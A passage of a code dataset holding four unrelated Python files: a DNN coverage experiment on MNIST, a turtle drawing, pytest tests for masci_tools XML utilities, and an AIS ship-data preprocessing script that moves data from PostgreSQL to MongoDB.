len_select_dau, len_select_ori, seed, shuffle_seed):\n x_dau_select, _, y_dau_select, _ = train_test_split(x_dau_test, y_dau_test, train_size=len_select_dau,\n random_state=seed)\n x_ori_select, _, y_ori_select, _ = train_test_split(x_ori_test, y_ori_test, train_size=len_select_ori,\n random_state=seed)\n\n x_select = np.concatenate([x_dau_select, x_ori_select], axis=0) # 选择集\n y_select = np.concatenate([y_dau_select, y_ori_select], axis=0)\n\n np.random.seed(shuffle_seed)\n shuffle_indices = np.random.permutation(len(x_select))\n x_s = x_select[shuffle_indices] # 混洗,每次混洗要不一样,并选出前len的数据\n y_s = y_select[shuffle_indices]\n return x_s, y_s\n\n\n###\n# 指标数据\n#\ndef get_div_exp_data(x_s, y_s, ori_model, base_path, is_anlyze=False):\n csv_data = {}\n s = time.time()\n div_c, div_v = deepdiv.cal_d_v(x_s, y_s, params[\"nb_classes\"], ori_model, base_path=base_path, is_anlyze=is_anlyze)\n e = time.time()\n csv_data[\"div\"] = div_c\n csv_data[\"var\"] = div_v\n csv_data[\"div_time_cost\"] = e - s\n return csv_data\n\n\ndef get_cov_exp_data(x_s, y_s, cov_initer, suffix=\"\"):\n csv_data = {}\n cov_nac, cov_nbc, cov_snac, cov_kmnc, cov_tknc, cov_lsc, cov_dsc = None, None, None, None, None, None, None,\n\n # input_layer = cov_initer.get_input_layer()\n # layers = cov_initer.get_layers()\n #\n # ss = time.time()\n # nac = metrics.nac(x_s, input_layer, layers, t=0.75)\n # cov_nac = nac.fit()\n # ee = time.time()\n # csv_data[\"nac_time{}\".format(suffix)] = ee - ss\n #\n # ss = time.time()\n # nbc = cov_initer.get_nbc()\n # cov_nbc = nbc.fit(x_s, use_lower=True)\n # cov_snac = nbc.fit(x_s, use_lower=False)\n # ee = time.time()\n # csv_data[\"nbc_time{}\".format(suffix)] = ee - ss\n #\n # ss = time.time()\n # kmnc = cov_initer.get_kmnc()\n # cov_kmnc = kmnc.fit(x_s)\n # ee = time.time()\n # csv_data[\"kmnc_time{}\".format(suffix)] = ee - ss\n #\n # ss = time.time()\n # tknc = metrics.tknc(x_s, input_layer, layers, k=1)\n # cov_tknc = tknc.fit(list(range(len(x_s))))\n # ee = time.time()\n # csv_data[\"tknc_time{}\".format(suffix)] = ee - ss\n #\n # ss = time.time()\n # lsc = cov_initer.get_lsc(k_bins=1000, index=-1)\n # cov_lsc = lsc.fit(x_s, y_s)\n # ee = time.time()\n # csv_data[\"lsc_time{}\".format(suffix)] = ee - ss\n ss = time.time()\n dsc = cov_initer.get_dsc(k_bins=1000, )\n cov_dsc = dsc.fit(x_s, y_s)\n ee = time.time()\n csv_data[\"dsc_time{}\".format(suffix)] = ee - ss\n\n # csv_data[\"cov_nac{}\".format(suffix)] = cov_nac\n # csv_data[\"cov_nbc{}\".format(suffix)] = cov_nbc\n # csv_data[\"cov_snac{}\".format(suffix)] = cov_snac\n # csv_data[\"cov_tknc{}\".format(suffix)] = cov_tknc\n # csv_data[\"cov_kmnc{}\".format(suffix)] = cov_kmnc\n # csv_data[\"cov_lsc{}\".format(suffix)] = cov_lsc\n csv_data[\"cov_dsc{}\".format(suffix)] = cov_dsc\n return csv_data\n\n\n# 重训练模型\ndef retrain_model(ori_model, x_s, y_s_vec, x_val, y_val_vec, ):\n temp_path = model_conf.get_temp_model_path(params[\"data_name\"], params[\"model_name\"], \"temp\")\n if not os.path.exists(temp_path):\n os.makedirs(temp_path)\n new_model_name = exp_name + str(len(x_s)) + \".hdf5\"\n filepath = \"{}/{}\".format(temp_path, new_model_name)\n trained_model = train_model(ori_model, filepath, x_s, y_s_vec, x_val, y_val_vec)\n return trained_model\n\n\n###\n# 实验\n#\ndef exp_detail(ori_model, cov_initer, ys_psedu, seed, x_s, y_s, base_path, is_cal_cov=True, is_cal_div=True,\n is_anlyze=False):\n right_num = np.sum(y_s == ys_psedu)\n wrong_num = len(y_s) - right_num\n\n # 结果行数据\n csv_data = {}\n csv_data[\"seed\"] = seed\n csv_data[\"data_size\"] = len(x_s)\n csv_data[\"wrong_num\"] = wrong_num\n csv_data[\"right_num\"] = right_num\n\n if is_cal_div:\n # div实验\n exp_div_data = get_div_exp_data(x_s, ys_psedu, ori_model, base_path, is_anlyze=is_anlyze)\n csv_data = dict(csv_data, **exp_div_data)\n\n # cov实验\n if is_cal_cov:\n # 4.计算整体的众多cov\n exp_cov_data = get_cov_exp_data(x_s, ys_psedu, cov_initer)\n csv_data = dict(csv_data, **exp_cov_data)\n del x_s\n del y_s\n return csv_data\n\n\n# 扩增测试数据合并原始验证数据\ndef prepare_data():\n # 1.原始数据\n X_train, X_test, Y_train_vec, Y_test_vec = data_gener.gen_ori_data(params[\"data_name\"])\n Y_train = np.argmax(Y_train_vec, axis=1)\n Y_test = np.argmax(Y_test_vec, axis=1)\n len_test = len(X_test)\n\n # 2.混洗\n np.random.seed(42) # 指定随机数种子,保证每次混洗后的数据集都一样\n shuffle_indices = np.random.permutation(np.arange(len(X_train)))\n X_train, Y_train = X_train[shuffle_indices], Y_train[shuffle_indices]\n\n # 3.这里面只有前5w个是训练集\n x_train, y_train = X_train[len_test:], Y_train[len_test:] # 最终的训练集 5w\n\n # 获取扩增测试集\n Xa_train, Xa_test, Ya_train, Ya_test = data_gener.gen_dau_data(params[\"dau_name\"], use_norm=True,\n num=dau_num)\n\n # 扩增测试集 合并 原始测试集 2w\n x_test = np.concatenate([Xa_test, X_test], axis=0)\n y_test = np.concatenate([Ya_test, Y_test], axis=0)\n return x_train, x_test, y_train, y_test\n\n\ndef print_info(right_num, wrong_num, len_X_test, len_Y_test, len_X_train, len_Y_train):\n #### 打印消息\n print(\"train\", len_X_train, len_Y_train)\n print(\"test\", len_X_test, len_Y_test)\n print(\"right_num\", right_num)\n print(\"wrong_num\", wrong_num)\n\n\ndef exp(params):\n K.clear_session()\n\n # 参数配置\n exp_params = {\n \"b_list\": [0],\n \"ub_list\": [0.99],\n \"k_list\": [0.1, 0.3, ], # size(原始测试 )* k = size(子集)\n \"sample_num\": 30 # 每个子集的采样次数\n }\n # 0. 初始化参数\n sample_num = exp_params[\"sample_num\"]\n k_list = exp_params[\"k_list\"]\n b_list, ub_list = exp_params[\"b_list\"], exp_params[\"ub_list\"] # 不分块 只选取高置信度部分,低的不要 # > 0.22\n b, ub = b_list[0], ub_list[0]\n cov_config.boundary = b # 设置边界\n cov_config.up_boundary = ub\n is_cal_cov = True # 控制\n is_cal_div = False\n base_path = mk_exp_dir(dict(params, **exp_params)) # 创建文件夹\n\n # 1. 获取原始数据\n X_train, X_test, Y_train, Y_test = prepare_data() # 原始数据\n ori_model = load_model(model_conf.get_model_path(params[\"data_name\"], params[\"model_name\"])) # 模型\n prob_matrixc = ori_model.predict(X_test)\n ys_psedu = np.argmax(prob_matrixc, axis=1) # 每行最大的置信度作为伪标签,充分性分析使用伪标签,重训练使用正确标签\n right_num = np.sum(Y_test == ys_psedu)\n wrong_num = len(Y_test) - right_num\n # 打印信息\n print_info(right_num, wrong_num, len(X_test), len(Y_test), len(X_train), len(Y_train))\n\n # 2. 初始化覆盖指标\n cov_initer = CovInit(X_train, Y_train, params)\n\n # 4.实验\n for k in k_list:\n # 3. 随机选取数据种子\n random.seed(42) # 固定下列随机数\n seed_list = random.sample(range(0, 1000), 500)\n seed_point = 0\n size = int(len(X_test) * k)\n df = None\n csv_path = base_path + \"/exp1_{}.csv\".format(size, )\n # 构建相同size不同ratio数据集\n for i in range(sample_num):\n seed = seed_list[seed_point]\n X, Y = shuffle_data(X_test, Y_test, seed)\n x_s, y_s = X[:size], Y[:size] # 每次都随机选择出1000条\n prob_matrixc = ori_model.predict(x_s)\n ys_psedu = np.argmax(prob_matrixc, axis=1) # 每行最大的置信度作为伪标签,充分性分析使用伪标签,重训练使用正确标签\n seed_point += 1 # 改变随机数\n csv_data = exp_detail(ori_model, cov_initer, ys_psedu, seed, x_s, y_s, base_path,\n is_cal_cov=is_cal_cov, is_cal_div=is_cal_div, )\n df = add_df(df, csv_data)\n df.to_csv(csv_path, index=False)\n\n\ndau_num = 1\nexp_name = \"exp1_dsc\"\nparams = None # 待赋值\n\n\ndef run(p, gpu_no=0, ename=None):\n global params\n params = p\n if ename is not None:\n global exp_name\n exp_name = ename\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpu_no)\n exp(params)\n\n\nif __name__ == '__main__':\n params = {\n \"model_name\": model_conf.LeNet1, # 选取模型\n \"data_name\": model_conf.mnist, # 选取数据集\n \"nb_classes\": model_conf.fig_nb_classes, # 数据集分类数\n \"dau_name\": \"mnist_harder\" # 选取扩增数据集名称\n }\n run(params, 0)\n","sub_path":"exp1_dsc.py","file_name":"exp1_dsc.py","file_ext":"py","file_size_in_byte":10494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"418142663","text":"import turtle\nAnn = turtle.Pen()\nBekka = turtle.Pen()\nSuzan = turtle.Pen()\nRobert = turtle.Pen()\n\nAnn.forward(100)\nAnn.left(90)\nAnn.forward(50)\nAnn.right(90)\nAnn.forward(50)\n\nBekka.forward(100)\nBekka.right(90)\nBekka.forward(50)\nBekka.left(90)\nBekka.forward(50)\n\nSuzan.forward(110)\nSuzan.left(90)\nSuzan.forward(30)\nSuzan.right(90)\nSuzan.forward(30)\n\nRobert.forward(110)\nRobert.right(90)\nRobert.forward(30)\nRobert.left(90)\nRobert.forward(30)\n","sub_path":"Черепашьи вилы.py","file_name":"Черепашьи вилы.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"370822384","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTest of the functions in masci_tools.util.xml.common_functions\n\"\"\"\nimport pytest\nimport os\nfrom pprint import pprint\nimport logging\n\nTEST_FOLDER = os.path.dirname(os.path.abspath(__file__))\nCLEAR_XML_TEST_FILE = os.path.abspath(os.path.join(TEST_FOLDER, 'files/fleur/test_clear.xml'))\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef test_eval_xpath(caplog):\n \"\"\"\n Test of the eval_xpath function\n \"\"\"\n from lxml import etree\n from masci_tools.util.xml.common_functions import eval_xpath\n\n parser = etree.XMLParser(attribute_defaults=True, encoding='utf-8')\n xmltree = etree.parse(CLEAR_XML_TEST_FILE, parser)\n root = xmltree.getroot()\n\n scfLoop = eval_xpath(root, '//scfLoop')\n assert isinstance(scfLoop, etree._Element)\n\n scfLoop = eval_xpath(root, '//scfLoop', list_return=True)\n assert len(scfLoop) == 1\n assert isinstance(scfLoop[0], etree._Element)\n\n include_tags = eval_xpath(root,\n '//xi:include',\n namespaces={'xi': 'http://www.w3.org/2001/XInclude'},\n list_return=True)\n assert len(include_tags) == 2\n assert isinstance(include_tags[0], etree._Element)\n\n species_z = eval_xpath(root, \"//species[@name='Cu-1']/@atomicNumber\")\n assert species_z == '29'\n\n ldau_tags = eval_xpath(root, \"//species[@name='Cu-1']/ldaU\")\n assert ldau_tags == []\n\n with pytest.raises(ValueError, match='There was a XpathEvalError on the xpath:'):\n ldau_tags = eval_xpath(root, \"//species/[@name='Cu-1']/ldaU\")\n\n with caplog.at_level(logging.WARNING):\n with pytest.raises(ValueError, match='There was a XpathEvalError on the xpath:'):\n ldau_tags = eval_xpath(root, \"//species/[@name='Cu-1']/ldaU\", logger=LOGGER)\n\n assert 'There was a XpathEvalError on the xpath:' in caplog.text\n\n\ndef test_clear_xml():\n \"\"\"\n Test of the clear_xml function\n \"\"\"\n from lxml import etree\n from masci_tools.util.xml.common_functions import eval_xpath, clear_xml\n parser = etree.XMLParser(attribute_defaults=True, encoding='utf-8')\n xmltree = etree.parse(CLEAR_XML_TEST_FILE, parser)\n\n #Check that the file contains comments and includes\n root = xmltree.getroot()\n comments = eval_xpath(root, '//comment()', list_return=True)\n assert len(comments) == 3\n\n include_tags = eval_xpath(root,\n '//xi:include',\n namespaces={'xi': 'http://www.w3.org/2001/XInclude'},\n list_return=True)\n assert len(include_tags) == 2\n\n symmetry_tags = eval_xpath(root, '//symOp', list_return=True)\n assert len(symmetry_tags) == 0\n\n cleared_tree, all_include_tags = clear_xml(xmltree)\n cleared_root = cleared_tree.getroot()\n old_root = xmltree.getroot()\n\n assert all_include_tags == {'symmetryOperations'}\n #Make sure that the original tree was not modified\n comments = eval_xpath(old_root, '//comment()', list_return=True)\n assert len(comments) == 3\n\n #Check that the cleared tree is correct\n comments = eval_xpath(cleared_root, '//comment()', list_return=True)\n assert len(comments) == 0\n\n include_tags = eval_xpath(cleared_root,\n '//xi:include',\n namespaces={'xi': 'http://www.w3.org/2001/XInclude'},\n list_return=True)\n assert len(include_tags) == 0\n\n symmetry_tags = eval_xpath(cleared_root, '//symOp', list_return=True)\n assert len(symmetry_tags) == 16\n\n\ndef test_reverse_xinclude(load_inpxml):\n \"\"\"\n Test of the reverse_xinclude function\n \"\"\"\n from masci_tools.util.xml.common_functions import eval_xpath, reverse_xinclude, clear_xml\n\n xmltree, schema_dict = load_inpxml(CLEAR_XML_TEST_FILE)\n\n cleared_tree, all_include_tags = clear_xml(xmltree)\n cleared_root = cleared_tree.getroot()\n\n reexcluded_tree, included_trees = reverse_xinclude(cleared_tree, schema_dict, all_include_tags)\n reexcluded_root = reexcluded_tree.getroot()\n\n assert list(included_trees.keys()) == ['sym.xml']\n sym_root = included_trees['sym.xml'].getroot()\n\n include_tags = eval_xpath(cleared_root,\n '//xi:include',\n namespaces={'xi': 'http://www.w3.org/2001/XInclude'},\n list_return=True)\n assert len(include_tags) == 0\n\n include_tags = eval_xpath(reexcluded_root,\n '//xi:include',\n namespaces={'xi': 'http://www.w3.org/2001/XInclude'},\n list_return=True)\n assert len(include_tags) == 2\n assert [tag.attrib['href'] for tag in include_tags] == ['sym.xml', 'relax.xml']\n\n symmetry_tags = eval_xpath(cleared_root, '//symOp', list_return=True)\n assert len(symmetry_tags) == 16\n\n symmetry_tags = eval_xpath(reexcluded_root, '//symOp', list_return=True)\n assert len(symmetry_tags) == 0\n\n symmetry_tags = eval_xpath(sym_root, 'symOp', list_return=True)\n assert len(symmetry_tags) == 16\n\n\ndef test_get_xml_attribute(caplog):\n \"\"\"\n Test of the clear_xml function\n \"\"\"\n from lxml import etree\n from masci_tools.util.xml.common_functions import get_xml_attribute, eval_xpath\n parser = etree.XMLParser(attribute_defaults=True, encoding='utf-8')\n xmltree = etree.parse(CLEAR_XML_TEST_FILE, parser)\n root = xmltree.getroot()\n\n scfLoop = eval_xpath(root, '//scfLoop')\n assert get_xml_attribute(scfLoop, 'alpha') == '.05000000'\n assert get_xml_attribute(scfLoop, 'itmax') == '1'\n assert get_xml_attribute(scfLoop, 'maxIterBroyd') == '99'\n\n with pytest.raises(ValueError, match='Tried to get attribute: \"TEST\" from element scfLoop.'):\n get_xml_attribute(scfLoop, 'TEST')\n\n with caplog.at_level(logging.WARNING):\n assert get_xml_attribute(scfLoop, 'TEST', logger=LOGGER) is None\n assert 'Tried to get attribute: \"TEST\" from element scfLoop.' in caplog.text\n\n with pytest.raises(TypeError,\n match='Can not get attributename: \"TEST\" from node of type '):\n get_xml_attribute(xmltree, 'TEST')\n\n with caplog.at_level(logging.WARNING):\n assert get_xml_attribute(xmltree, 'TEST', logger=LOGGER) is None\n assert 'Can not get attributename: \"TEST\" from node of type ' in caplog.text\n\n\ndef test_split_off_tag():\n \"\"\"\n Test of the split_off_tag function\n \"\"\"\n from masci_tools.util.xml.common_functions import split_off_tag\n\n assert split_off_tag('/fleurInput/calculationSetup/cutoffs') == ('/fleurInput/calculationSetup', 'cutoffs')\n assert split_off_tag('/fleurInput/calculationSetup/cutoffs/') == ('/fleurInput/calculationSetup', 'cutoffs')\n assert split_off_tag('./calculationSetup/cutoffs') == ('./calculationSetup', 'cutoffs')\n\n\ndef test_split_off_attrib():\n \"\"\"\n Test of the split_off_tag function\n \"\"\"\n from masci_tools.util.xml.common_functions import split_off_attrib\n\n assert split_off_attrib('/fleurInput/calculationSetup/cutoffs/@Kmax') == ('/fleurInput/calculationSetup/cutoffs',\n 'Kmax')\n with pytest.raises(AssertionError):\n split_off_attrib('/fleurInput/calculationSetup/cutoffs')\n with pytest.raises(AssertionError):\n split_off_attrib(\"/fleurInput/atomSpecies/species[@name='TEST']\")\n assert split_off_attrib('./calculationSetup/cutoffs/@Kmax') == ('./calculationSetup/cutoffs', 'Kmax')\n\n\ndef test_check_complex_xpath(load_inpxml):\n \"\"\"\n Test of the check_complex_xpath function\n \"\"\"\n from masci_tools.util.xml.common_functions import check_complex_xpath\n\n FILE_PATH = os.path.dirname(os.path.abspath(__file__))\n TEST_INPXML_PATH = os.path.join(FILE_PATH, 'files/fleur/Max-R5/FePt_film_SSFT_LO/files/inp2.xml')\n\n xmltree, _ = load_inpxml(TEST_INPXML_PATH)\n\n check_complex_xpath(xmltree, '/fleurInput/atomSpecies/species', \"/fleurInput/atomSpecies/species[@name='Fe-1']\")\n\n with pytest.raises(ValueError):\n check_complex_xpath(xmltree, '/fleurInput/atomSpecies/species',\n \"/fleurInput/atomSpecies/species[@name='Fe-1']/lo\")\n\n with pytest.raises(ValueError):\n check_complex_xpath(xmltree, '/fleurInput/atomSpecies/species',\n \"/fleurInput/atomSpecies/species[@name='Fe-1']/@name\")\n\n check_complex_xpath(xmltree, '/fleurInput/atomSpecies/species', '/fleurInput/atomSpecies/species')\n check_complex_xpath(xmltree, '/fleurInput/atomSpecies/species',\n \"/fleurInput/atomSpecies/species[@name='does_not_exist']\")\n check_complex_xpath(xmltree, '/fleurInput/atomSpecies/species/lo', \"//species[@name='Pt-1']/lo\")\n\n\ndef test_abs_to_rel_xpath():\n\n from masci_tools.util.xml.common_functions import abs_to_rel_xpath\n\n assert abs_to_rel_xpath('/test/new_root/relative/path', 'new_root') == './relative/path'\n assert abs_to_rel_xpath('/test/new_root/relative/path/@attrib', 'new_root') == './relative/path/@attrib'\n assert abs_to_rel_xpath('/test/new_root/relative/path', 'path') == '.'\n assert abs_to_rel_xpath('/test/new_root/relative/path/@attrib', 'path') == './@attrib'\n\n with pytest.raises(ValueError):\n abs_to_rel_xpath('/test/new_root/relative/path/@attrib', 'non_existent')\n","sub_path":"tests/test_xml_common_functions.py","file_name":"test_xml_common_functions.py","file_ext":"py","file_size_in_byte":9443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"573829967","text":"\"\"\"\n This file will be used for preprocessing ais navigational data by retrieving data from postgres.\n 1) extracting AIS navigational data from postgre dynamic_ship table\n 2) extracting ship metadata from postgres static_ship table\n 3) extracting metadata about navigational status, ship type and country mmsi from postgre\n 4) combine them into a jason and return them to main class.\n TODO:- ADD MORE FUNCTIONALITIES HERE\n\"\"\"\n\nimport psycopg2\nimport json\nfrom mongo import mongoSetUp\n\njsonFilePath = r'json_data/ais_navigation.json'\njsonFilePath_5m = r'json_data/ais_navigation_5m.json'\n\n\n# this func is used for executing query on postgress sql it takes the query as parameter and returns cursor data\ndef executeQuery(query) :\n try :\n # CONNECTING TO POSTGRES (use your credentials here)\n connection = psycopg2.connect(user=\"thanoskottaridis\",\n password=\"Test1234!\",\n host=\"127.0.0.1\",\n port=\"5432\",\n database=\"doi105281zenodo1167595\")\n cursor = connection.cursor()\n\n cursor.execute(query)\n print(\"Selecting rows using cursor.fetchall\")\n column_names = [column[0] for column in cursor.description]\n query_records = cursor.fetchall()\n\n return column_names, query_records\n\n except (Exception, psycopg2.Error) as error :\n print(\"Error while fetching data from PostgreSQL\", error)\n return None, None\n\n finally :\n # closing database connection.\n if connection :\n cursor.close()\n connection.close()\n print(\"PostgreSQL connection is closed\")\n\n\ndef fetchAISCollection() :\n \"\"\"\n #SECTION 1\n This helper func is used to fetch and format all the ship_dynamic data from postgreSQl\n \"\"\"\n\n # first fetch all dynamicData\n # but we order the columns in order to get all the main attributes at first 4 columns\n # and the navigational_metadata form rest columns\n column_names, dynamic_data = executeQuery(\n \"\"\"\n SELECT DISTINCT ON ( mmsi, lat, lon, ts) mmsi, lat, lon, ts, turn, speed, course, heading, status\n FROM ais_data.dynamic_ships D\n \"\"\"\n # LIMIT 100\n )\n print(column_names)\n print(len(dynamic_data))\n\n # then we are fetching navigational status data in order to append them into\n nav_status_column_names, nav_status_data = executeQuery(\n \"\"\"SELECT * FROM ais_status_codes_types.navigational_status\"\"\"\n )\n print(nav_status_column_names)\n print(len(nav_status_data))\n\n # convert dynamic data into a desire formatted dict\n ais_collection = preprocessDynamicData(dynamic_data, column_names, nav_status_data, nav_status_column_names)\n\n print(\"prin collection count: \\n\\n\")\n # print(ais_collection)\n return ais_collection\n\n\n# create json object from AIS Collection\ndef preprocessDynamicData(dynamic_data, column_names, nav_status_data, nav_status_column_names) :\n ais_collection = []\n nav_status_dict = {}\n\n for row in nav_status_data :\n nav_status_dict[row[0]] = dict(zip(nav_status_column_names, row))\n\n # converts query records into list of dicts\n for row in dynamic_data :\n main_data = {}\n # store mmsi and ts\n main_data[\"mmsi\"] = row[0]\n main_data[\"ts\"] = row[3]\n # create document to geo-jason format\n main_data[\"location\"] = {\n \"type\" : \"Point\",\n \"coordinates\" : [\n row[2],\n row[1]\n ]\n }\n\n # main_data = dict(zip(column_names[:4], row[:4]))\n navigational_metadata = dict(zip(column_names[4 :-1], row[4 :-1]))\n\n # sets up navigational status if ais status code is not null or empty\n try :\n main_data[\"nav_status\"] = nav_status_dict[row[-1]]\n except :\n print(\"INVALID \")\n\n main_data[\"nav_metadata\"] = navigational_metadata\n ais_collection.append(main_data)\n\n # prints last main_data dict using json dumps in order to check the format\n print(json.dumps(main_data, sort_keys=False, indent=4))\n\n return ais_collection\n\n\ndef fetchShipMetadata() :\n \"\"\"\n SECTION 2\n This helper func is used to fetch and format all the ship metadata from static_ship table on postgreSQL\n \"\"\"\n\n # fetch ship metadata extracted from static_ships using postgres\n ship_meta_column_names, ship_metadata = executeQuery(\n \"\"\"\n with static_metadata as (\n SELECT DISTINCT ON (sourcemmsi) sourcemmsi, imo, callsign, shipname, shiptype\n FROM ais_data.static_ships\n ) SELECT mmsi, imo, callsign, shipname, shiptype\n FROM (select distinct mmsi from ais_data.dynamic_ships ) as MMSI\n INNER JOIN static_metadata meta ON MMSI.mmsi = meta.sourcemmsi\n \"\"\"\n )\n\n print(ship_meta_column_names)\n print(len(ship_metadata))\n\n # fetch ship spexts from ANFR using postgress\n # ship_specs_column_names, ship_specs = executeQuery(\n # \"\"\"\n # with ping_mmsi as(\n\t# SELECT DISTINCT ON ( mmsi, lat, lon, ts) mmsi\n\t# FROM ais_data.dynamic_ships D\n\t# ORDER BY mmsi, lat, lon, ts\n # ) select DISTINCT ON (VL.mmsi) VL.mmsi, VL.imo_number, VL.ship_name, VL.callsign, VL.length, VL.tonnage, VL.tonnage_unit, VL.materiel_onboard\n # from vesselregister.anfr_vessel_list VL Inner Join ping_mmsi PM on\n # PM.mmsi = VL.mmsi\n # \"\"\"\n # )\n\n # print(ship_specs_column_names)\n # print(len(ship_specs))\n\n # fetch ship type with details\n ship_type_column_names, ship_types = executeQuery(\n \"\"\"\n SELECT D.id_detailedtype, T.id_shiptype, T.type_name\n FROM ais_status_codes_types.ship_types T INNER JOIN ais_status_codes_types.ship_types_detailed D\n ON T.id_shiptype = D.id_shiptype\n \"\"\"\n )\n\n print(ship_type_column_names)\n print(len(ship_types))\n\n # Combine ship metadata with ship type in order to extract the complete ship_metadata\n ship_metadata_dict = preprocessShipMetaData(ship_metadata, ship_meta_column_names,\n ship_types, ship_type_column_names)\n return ship_metadata_dict\n\n\n# creates a dict/json object with the ship metadata\ndef preprocessShipMetaData(ship_meta, ship_meta_columns, ship_types, ship_types_columns ) :\n ship_meta_dict = {}\n ship_types_dict = {}\n ship_specs_dicts = {}\n\n # firstly we convert types into a dict of dicts using id_detailedtype as key on ship_types_dict\n # which is column 0 in our query results and we know it is unique\n for row in ship_types :\n ship_types_dict[row[0]] = dict(zip(ship_types_columns, row))\n\n print(json.dumps(ship_types_dict, sort_keys=False, indent=4))\n\n # converts query records into dict of dicts\n for row in ship_meta :\n # convert all columns into a dict except the last which is the shiptype\n ship_data = dict(zip(ship_meta_columns[1 :- 1], row[1 :- 1])) # we dont need mmsi in dict\n # adding to ship data the type using last column as key on ship_types_dict\n try :\n ship_data[\"ship_type\"] = ship_types_dict[row[-1]]\n # ship_data[\"id_shiptype\"] = ship_types_dict[row[-1]][\"ship_types_dict\"]\n # ship_data[\"type_name\"] = ship_types_dict[row[-1]][\"type_name\"]\n except :\n print(\"INVALID SHIP TYPE: \", row[-1])\n\n # sets mmsi which is row[0] in our data as key and ands main data into dict\n ship_meta_dict[row[0]] = ship_data\n\n # then we add ship specs into ship_meta_dict using mmsi as key if mmsi doesnt exist\n # we add all information imo,ship_type\n # for row in ship_specs :\n # ship_specs = dict(zip(ship_specs_columns[4 :- 1], row[4 :- 1]))\n # # add equipment in ship_specs\n # ship_specs[\"materiel_onboard\"] = row[-1].split(\"-\")\n # # check if mmsi exists in ship_meta_dict\n # if row[0] in ship_meta_dict :\n # # if so create ship specs dict\n # ship_meta_dict[row[0]][\"ship_specs\"] = ship_specs\n # else :\n # # create new ship meta\n # ship_meta_dict[row[0]] = {\n # **({'imo' : row[1]} if row[1] is not None else {}),\n # **({'callsign' : row[3]} if row[3] is not None else {}),\n # **({'shipname' : row[2]} if row[2] is not None else {}),\n # \"ship_specs\" : ship_specs\n # }\n # # print(json.dumps(ship_meta_dict[row[0]], sort_keys=False, indent=4))\n\n print(json.dumps(ship_data, sort_keys=False, indent=4))\n return ship_meta_dict\n\n\ndef fetchMMSICountryData(isForAIS=True) :\n \"\"\"\n SECTION 3\n fetch all mmsi country data and convert them into dict\n \"\"\"\n\n # fetch mmsi_country\n mmsi_country_column_names, mmsi_countries = executeQuery(\n \"\"\"\n SELECT *\n FROM ais_status_codes_types.mmsi_country_codes\n \"\"\"\n )\n\n mmsi_countries_dict = {}\n\n if isForAIS :\n # convert them into a dict of dicts using country code as key (row[0])\n for row in mmsi_countries :\n mmsi_countries_dict[str(row[0])] = dict(zip(mmsi_country_column_names, row))\n else :\n # convert them into dic of dicts using country name as key\n for row in mmsi_countries :\n if str(row[1]) in mmsi_countries_dict.keys() :\n # append code\n mmsi_countries_dict[str(row[1])]['country_codes'].append(row[0])\n else : # create new dict\n mmsi_countries_dict[str(row[1])] = {'country' : row[1], 'country_codes' : [row[0]]}\n return mmsi_countries_dict\n\n\ndef createAISCollection(ais_collection, ship_metadata, mmsi_countries_dict) :\n \"\"\"\n #SECTION 4\n This helper func creates the AIS_navigation json by combining ais_collection with ship metadata and mmsi country codes\n the idea is iterate in ais_collection find the mmsi and check if it exists in ship_metadata then append ship_metadata\n then append ship_metadata into ais_collection document. Before appending ship_metadata into document we have to enrich\n metadata with country dict.\n \"\"\"\n for ais_document in ais_collection :\n mmsi = ais_document[\"mmsi\"]\n mmsi_country_code = str(mmsi)[:3]\n\n # Creates a 4D morton and store it at _id field as string because mongo can store only 64 bit ints\n # and 4D morton is 124\n # TODO ADD THIS FOR ADDING MORTON AT _id\n # lon, lat = mortonCodeManager.lonLatToInt(ais_document[\"location\"][\"coordinates\"][0],\n # ais_document[\"location\"][\"coordinates\"][1])\n # ais_document[\"_id\"] = str(mortonCodeManager.EncodeMorton4D(lon, lat, ais_document[\"mmsi\"], ais_document[\"ts\"]))\n\n ship_metadata_dict = {}\n\n # finds mmsi in ship metadata\n try :\n ship_metadata_dict = ship_metadata[mmsi]\n except :\n print(\"NO METADATA FOR THIS SHIP\")\n\n # enrich metadata with mmsi country obj\n try :\n ship_metadata_dict[\"mmsi_country\"] = mmsi_countries_dict[mmsi_country_code]\n except :\n print(\"INVALID COUNTRY CODE\")\n\n # adds ship metadata into ais_document\n ais_document[\"ship_metadata\"] = ship_metadata_dict\n\n # print(json.dumps(ais_collection, sort_keys=False, indent=4))\n # return json.dumps(ais_collection, sort_keys=False, indent=4)\n return ais_collection\n\n\ndef preprocessAisDynamic() :\n # fetch all dynamic_ship data and format them into ais_collection\n ais_collection = fetchAISCollection()\n\n # fetch ship metadata extracted from static_ships using postgres\n ship_metadata_dict = fetchShipMetadata()\n print(json.dumps(ship_metadata_dict, sort_keys=False, indent=4))\n\n # fetch mmsi_country\n mmsi_countries_dict = fetchMMSICountryData()\n print(json.dumps(mmsi_countries_dict, sort_keys=False, indent=4))\n\n # perform batch insertion to mongo db\n for i in range(0, len(ais_collection), 100000) :\n # update ais_collection by adding on it all extracted metadata\n ais_batch = createAISCollection(ais_collection[i : i + 100000], ship_metadata_dict, mmsi_countries_dict)\n mongoSetUp.insertAISData(ais_batch, isTemp=True)\n # write_json(jsonFilePath_5m, ais_batch, int(i / 1000000))\n # with open(jsonFilePath_5m, 'w', encoding='utf-8') as jsonf :\n # ais_collection_json = json.dumps(ais_batch, sort_keys=False, indent=4)\n # jsonf.write(ais_collection_json)\n print(\"----------------------BATCH \", i / 100000, \" INSERTED ----------------------\")\n\n # TODO:- CHECK IF THIS BLOCK OF CODE NEEDED!\n # CODE TO EXTRACT DATA TO JSON FILE\n # ais_collection_json = json.dumps(ais_collection, sort_keys=False, indent=4)\n #\n # # Open a json writer, and use the json.dumps()\n # # function to dump data\n # with open(jsonFilePath_5m, 'w', encoding='utf-8') as jsonf :\n # jsonf.write(ais_batch)\n\n # return dict/json\n # return ais_collection\n\n\ndef write_json(path, list, i):\n # data = []\n # try:\n # with open(path) as json_file :\n # data = json.load(json_file)\n # except:\n # print(\"no file or empty\")\n #\n # data.extend(list)\n\n # r'json_data/ais_navigation_{}.json'.format(i)\n with open(path, 'w', encoding='utf-8') as jsonf :\n ais_collection_json = json.dumps(list, sort_keys=False, indent=4)\n 